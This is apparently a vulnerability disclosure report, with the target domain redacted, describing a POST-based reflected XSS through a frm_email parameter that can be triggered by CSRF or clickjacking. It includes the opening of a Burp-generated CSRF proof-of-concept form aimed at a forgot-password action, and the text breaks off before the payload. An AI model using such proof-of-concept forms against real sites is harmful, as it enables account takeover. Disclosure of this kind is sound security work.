POST based RXSS on https://█████ via frm_email parameter

Summary: I have discovered that on the following domain https://███████ there is Post-Based reflected XSS vulnerability which i can trigger with CSRF (and Clickjacking) due to unsanitized input inside the frm_email parameter

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://███" method="POST">
      <input type="hidden" name="action" value="FFEXT&#95;forgotpw" />
      <input type="hidden" name="token" …